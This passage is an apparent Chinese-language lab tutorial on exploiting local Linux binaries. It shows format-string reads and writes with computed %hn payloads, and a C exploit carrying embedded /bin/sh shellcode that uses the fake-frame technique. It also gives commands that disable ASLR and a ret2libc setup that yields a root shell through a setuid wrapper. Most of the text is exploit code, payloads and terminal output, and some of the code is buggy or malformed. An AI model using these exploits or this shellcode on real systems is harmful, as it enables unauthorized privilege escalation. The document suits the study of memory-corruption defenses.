AAAA bffffe87 00000000 b7fff668 bffffd84
Canary at 0x080496cc = 0x00000000

#不斷增加%08x 找到格式化字串開頭
[email protected]:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %08x"
AAAA bffffe73 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 41414141
Canary at 0x080496cc = 0x00000000

%s讀取任意字串:

我們控制這格式化字串,能將任何內容放入該字串,%s格式控制字元將從棧上讀取下一個引數.

通過指標來讀取記憶體地址

[email protected]:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %s"  
Segmentation fault

讀取任意記憶體:

只需要提供位於當前程序段記憶體的有效地址,就可以讀取任意記憶體位置的資料.

//程式用於從系統中獲取當前使用者shell的位置
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
	char * addr;
	addr = getenv(argv[1]);
	printf("%s is located at %p\n", argv[1], addr);
}


[email protected]:~$ ./getenv SHELL
SHELL is located at 0xbffffeb1

//將記憶體地址反轉 得到shell環境變數 可使用 env | more 檢視當前會話所有環境變數
[email protected]:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
[email protected]:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %s"     
���� bffffe7f 00000000 b7fff668 bffffd84 b7fff800 (null)
Canary at 0x080496cc = 0x00000000
[email protected]:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
[email protected]:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %08x %s"
���� bffffe75 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 /bin/bash
Canary at 0x080496cc = 0x00000000

直接引數訪問簡化處理:

#include <stdio.h>

main() {
	printf("This is a %3$s.\n", 1, 2, "test");
}
[email protected]:~$ ./dirpar 
This is a test.
[email protected]:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`"%8\$s"                                 
����/bin/bash
Canary at 0x080496cc = 0x00000000

利用格式字串錯誤,可以指定printf和其他列印函式的格式,從一個程式讀取任意記憶體.使用%x可以列印十六進位制值,

查詢堆疊中引數的位置.%s指令,可以找出程式在指定位置的字串值.

寫入任意記憶體:

[email protected]:~$ export SC=`cat sc`
[email protected]:~$ ./getenv SC
SC is located at 0xbfffff51

可以拆分值寫入記憶體,兩個高位位元組HOB:0xbfff,兩個低位位元組LOB:0xff51, HOB < LOB.

計算漏洞攻擊格式字串公式

HOB<LOB LOB<HOB 備註 例項
[addr+2][addr] [addr+2][addr] 第二個16位元在前

 \xce\x96\x04\x08

\xcc\x96\x04\x08

%.[HOB-8]x %.[LOB-8]x 使用點來確保整數採用十進位制

0xbfff-8的十進位制等於49143(bfff=49151-8),因此表示%.49143x

(ff51=65361-8=65353)%.65353x

%[offset]$hn %[offset+1]$hn   %8\$hn
%.[LOB-HOB]x %.[HOB-LOB]x 使用點來確保整數採用十進位制 0xff51 - 0xbfff的是十進位制=16210 表示為:%.16210x
%[offset+1]$hn %[offset]$hn   %9\$hn

0太多了擷取:

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Canary at 0x080496cc = 0xbfffff51
[email protected]:~$ ./fmtstr `printf "\xce\x96\x04\x08\xcc\x96\x04\x08"`%.49143x%8\$hn%.16210x%9\$hn

改變程式執行:

[email protected]:~$ nm ./fmtstr | head #匯出EFL32格式檔案各節的符號
080495c4 d _DYNAMIC
08049698 d _GLOBAL_OFFSET_TABLE_
0804858c R _IO_stdin_used
         w _Jv_RegisterClasses
080495b4 d __CTOR_END__
080495b0 d __CTOR_LIST__
080495bc d __DTOR_END__
080495b8 d __DTOR_LIST__
080485ac r __FRAME_END__
080495c0 d __JCR_END__
[email protected]:~$ objdump -s -j .comment ./fmtstr #匯出並檢查檔案各節

./fmtstr:     file format elf32-i386

Contents of section .comment:
 0000 00474343 3a202847 4e552920 342e322e  .GCC: (GNU) 4.2.
 0010 34202855 62756e74 7520342e 322e342d  4 (Ubuntu 4.2.4-
 0020 31756275 6e747534 29000047 43433a20  1ubuntu4)..GCC: 
 0030 28474e55 2920342e 322e3420 28556275  (GNU) 4.2.4 (Ubu
 0040 6e747520 342e322e 342d3175 62756e74  ntu 4.2.4-1ubunt
 0050 75342900 00474343 3a202847 4e552920  u4)..GCC: (GNU) 
 0060 342e322e 34202855 62756e74 7520342e  4.2.4 (Ubuntu 4.
 0070 322e342d 31756275 6e747534 29000047  2.4-1ubuntu4)..G
 0080 43433a20 28474e55 2920342e 322e3420  CC: (GNU) 4.2.4 
 0090 28556275 6e747520 342e322e 342d3175  (Ubuntu 4.2.4-1u
 00a0 62756e74 75342900 00474343 3a202847  buntu4)..GCC: (G
 00b0 4e552920 342e322e 34202855 62756e74  NU) 4.2.4 (Ubunt
 00c0 7520342e 322e342d 31756275 6e747534  u 4.2.4-1ubuntu4
 00d0 29000047 43433a20 28474e55 2920342e  )..GCC: (GNU) 4.
 00e0 322e3420 28556275 6e747520 342e322e  2.4 (Ubuntu 4.2.
 00f0 342d3175 62756e74 75342900 00474343  4-1ubuntu4)..GCC
 0100 3a202847 4e552920 342e322e 34202855  : (GNU) 4.2.4 (U
 0110 62756e74 7520342e 322e342d 31756275  buntu 4.2.4-1ubu
 0120 6e747534 2900                        ntu4).          

在C\C++中,fini_array位元組以二進位制儲存

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

static int canary = 0;
static void checkCanary(void) __attribute__ ((destructor));

int main(int argc, char *argv[]){
	char temp[2048];
	strcpy(temp, argv[1]);
	printf(temp);
	printf("\n");
}

void checkCanary(void){
	printf("Canary at 0x%08x = 0x%08x\n", &canary, canary);
}
[email protected]:~$ gcc -z execstack -o strfmt strfmt.c 
[email protected]:~$ chmod u+s strfmt
[email protected]:~$ nm ./strfmt | grep -i fini
080484e0 T __libc_csu_fini
0804857c T _fini

記憶體保護機制:

Libsafe通過重寫這些危險的libc函式,替換了邊界和輸入過濾的實現,從而消除了大多數基於棧的攻擊.

繞過堆疊保護,利用假棧幀技術,跳轉到偽造的虛假地址,實現shellcode.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define VULN "./smallbuff"
#define SIZE 14

char shellcode[] =
	"\xff\xff\xff\xff\xff\xff\xff\xff"
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){
	char p[SIZE];
	char *env[] = { shellcode, NULL };
	int *ptr, i, addr, addr_argc, addr_eip;

	addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
	addr += 4;
	addr_argc = addr;
	addr_eip = addr_argc + 4;
	fprintf(stderr, "[***] using fake argc address: %#010x\n", addr_argc);
	fprintf(stderr, "[***] using shellcode address: %#010x\n", addr_eip);

	shellcode[0] = (unsigned char)(addr_eip & 0x000000ff);
	shellcode[1] = (unsigned char)((addr_eip & 0x0000ff00)>>8);
	shellcode[2] = (unsigned char)((addr_eip & 0x00ff0000)>>16);
	shellcode[3] = (unsigned char)((addr_eip & 0xff000000)>>24);

	p[0] = "A";
	p[1] = "A";
	ptr = (int *)&p[2];

	for (i = 2; i < SIZE; i += 4)
		*ptr++ = addr;

	*ptr = addr_eip;

	execle(VULN, "smallbuff", p, NULL, env);
	exit(1);
}
[email protected]:~$ chmod u+s exploit3
[email protected]:~$ ./exploit3 
[***] using fake argc address: 0xbfffffb6
[***] using shellcode address: 0xbfffffba

gcc從版本4.1開始,SSP被整合進了GCC中,預設使用.要使用-fno-stack-protector標誌將其禁用,使用-fstack-protector-all選項強制對所有函式進行堆疊保護.一種不可執行棧ELF標記GUN_STACK,使用-z execstack標誌禁用.

核心補丁和指令碼:

ASLR地址空間佈局隨機化,是將可執行映像\Brk()管理的堆\庫映像\Mmap()管理的堆\使用者棧\核心棧等隨機化.

ASLP的系統通過呼叫libc函式地址隨機化,實現了高階保護以防止返回到系統庫函式執行漏洞攻擊.

mmap()呼叫隨機化來實現,並且使用查詢system()及其它函式的地址變得幾乎不可能.使用蠻力技術來找system()函式呼叫是可行的.

Debian Ubuntu系統通過軟連線 echo 0 > /proc/sys/kernel/randomize_va_space 禁用ASLP

基於Red Hat的系統中通過 echo 1 > /proc/sys/kernel/exec-shield   

echo 1 > /proc/sys/kernel/exec-shield-randomize 禁用ASLP

Return to libc來繞過PaX和ExecShield之類的不可執行棧記憶體保護機制:


//測試程式碼
#include <stdio.h>

int main(int argc, char *argv[]){
	char buffer[7];
	strcpy(buffer, argv[1]);
	return 0;
}
[email protected]:~$ gcc -o vuln2 vuln2.c 
[email protected]:~$ chmod u+s vuln2
[email protected]:~$ ls -l vuln2
-rwsr-xr-x 1 msfadmin msfadmin 6364 2018-09-06 04:12 vuln2
[email protected]:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) p system 
$1 = {<text variable, no debug info>} 0xb7ec2990 <system>
(gdb) q

使用如下程式碼獲取二進位制程式碼中函式和字串位置:

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>

int step;
jmp_buf env;

void fault(){
	if (step < 0){
		longjmp(env, 1);
	}else{
		printf("Cat't find /bin/sh in libc, use env instead...\n");
		exit(1);
	}
}

int main(int argc, char **argv){
	void *handle;
	int *sysaddr, *exitaddr;
	long shell;
	char examp[512];
	char *args[3];
	char *envs[1];
	long *lp;

	handle = dlopen(NULL, RTLD_LOCAL);

	*(void **)(&sysaddr) = dlsym(handle, "system");
	sysaddr += 4096;
	printf("system() found at %08x\n", exitaddr);

	if (setjmp(env)){
		step = 1;
	}else{
		step = -1;
	}

	shell = (int)sysaddr;
	signal(SIGSEGV, fault);

	do
	while (memcmp((void *)shell, "/bin/sh", 8))
		shell += step;

	while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000));

	printf("\"/bin/sh\"found at %08x\n", shell + 16384);
}
#漏洞程式 沒有獲取到system 沒有使用root
[email protected]:~$ ./search 
system() found at 00000000
"/bin/sh"found at b7fb63ce
#程式崩了 沒有得到許可權 沒有獲取system地址 填充的是空
[email protected]:~$ ./vuln2 `perl -e 'print "A"x19 ."\x00\x00\x00\x00","BBBB","\xce\x63\xfb\xb7"'`
Segmentation fault

使用ret2libc保持許可權:

#include <stdio.h>

int main(){
	setuid(0);
	setgid(0);
	system("/bin/sh");
}
#include <stdio.h>

int main(){
	execl("./wrapper", "./wrapper", 0);
}
[email protected]:~$ ls -l test_execl
-rwxr-xr-x 1 msfadmin msfadmin 6384 2018-09-06 04:30 test_execl
[email protected]:~$ sudo ./shellcode 
[email protected]:/home/msfadmin# chown root.root test_execl
[email protected]:/home/msfadmin# ls -l test_execl
-rwxr-xr-x 1 root root 6384 Sep  6 04:30 test_execl
[email protected]:/home/msfadmin# chmod +s test_execl
[email protected]:/home/msfadmin# ls -l test_execl
-rwsr-sr-x 1 root root 6384 Sep  6 04:30 test_execl
[email protected]:/home/msfadmin# exit
exit

[email protected]:~$ ./test_execl 
sh-3.2# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# exit
exit

使用printf的地址來重寫EIP:

[email protected]:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) p printf
$1 = {<text variable, no debug info>} 0xb7ed1330 <printf>
(gdb) p execl
$2 = {<text variable, no debug info>} 0xb7f20360 <execl>

[email protected]:~$ export FMTSTR="%3\$n"

[email protected]:~$ echo $FMTSTR
%3$n

[email protected]:~$ ./getenv FMTSTR
FMTSTR is located at 0xbffffef9

[email protected]:~$ echo $WRAPPER
./wrapper

[email protected]:~$ ./getenv WRAPPER
WRAPPER is located at 0xbffffef4

查詢漏洞緩衝區的位置:

[email protected]:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) disass main
Dump of assembler code for function main:
0x08048374 <main+0>:    lea    0x4(%esp),%ecx
0x08048378 <main+4>:    and    $0xfffffff0,%esp
0x0804837b <main+7>:    pushl  -0x4(%ecx)
0x0804837e <main+10>:   push   %ebp
0x0804837f <main+11>:   mov    %esp,%ebp
0x08048381 <main+13>:   push   %ecx
0x08048382 <main+14>:   sub    $0x24,%esp
0x08048385 <main+17>:   mov    0x4(%ecx),%eax
0x08048388 <main+20>:   add    $0x4,%eax
0x0804838b <main+23>:   mov    (%eax),%eax
0x0804838d <main+25>:   mov    %eax,0x4(%esp)
0x08048391 <main+29>:   lea    -0xb(%ebp),%eax
0x08048394 <main+32>:   mov    %eax,(%esp)
0x08048397 <main+35>:   call   0x80482d8 <[email protected]>
0x0804839c <main+40>:   mov    $0x0,%eax
0x080483a1 <main+45>:   add    $0x24,%esp
0x080483a4 <main+48>:   pop    %ecx
0x080483a5 <main+49>:   pop    %ebp
0x080483a6 <main+50>:   lea    -0x4(%ecx),%esp
0x080483a9 <main+53>:   ret    
End of assembler dump.
(gdb) r `perl -e 'print "A"x64'`Quit
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/vuln2 `perl -e 'print "A"x64'`Quit #在最後的位置放入4個位元組 60+4 = 64 

Breakpoint 1, 0x08048382 in main ()
(gdb) p $esp
$1 = (void *) 0xbffffc64
(gdb) q
The program is running.  Exit anyway? (y or n) y

知道了漏洞緩衝區的大小已經編譯器增加的墊片(0x24 = 36) 算出第六處記憶體的地址:36+6*4=60 = 0x3c

在最後的位置放入4個位元組 60+4 = 64  緩衝區總大小為64

找到了緩衝區的起始處,那麼與前面計算出的偏移相加即可得到正確的目標位置.

0xbffffc64 + 0x24  =  0xbffffc88

./vuln2 `perl -e 'print "AAAA"x7 . "\x30\x13\xed\xb7" . "\x60\x03\xf2\xbf" . "\xf9\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\x88\xfc\xff\xbf"'`
Segmentation fault